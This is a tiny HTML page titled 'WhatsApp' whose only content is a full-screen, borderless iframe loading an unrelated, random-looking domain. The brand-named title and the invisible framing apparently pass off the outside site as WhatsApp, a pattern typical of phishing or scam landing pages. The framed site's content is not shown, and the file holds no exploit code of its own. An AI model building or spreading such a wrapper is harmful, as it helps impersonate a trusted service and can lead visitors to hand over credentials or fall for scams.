<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WhatsApp</title>
<style>
  body, html {
    height: 100%;
    margin: 0;
    padding: 0;
  }
  .iframe-container {
    height: 100%;
  }
</style>
</head>
<body>
<div class="iframe-container">
  <iframe src="https://www.268hfgjfk56jfkk8klkkl.com/" width="100%" height="100%" frameborder="0"></iframe>
</div>
</body>
</html>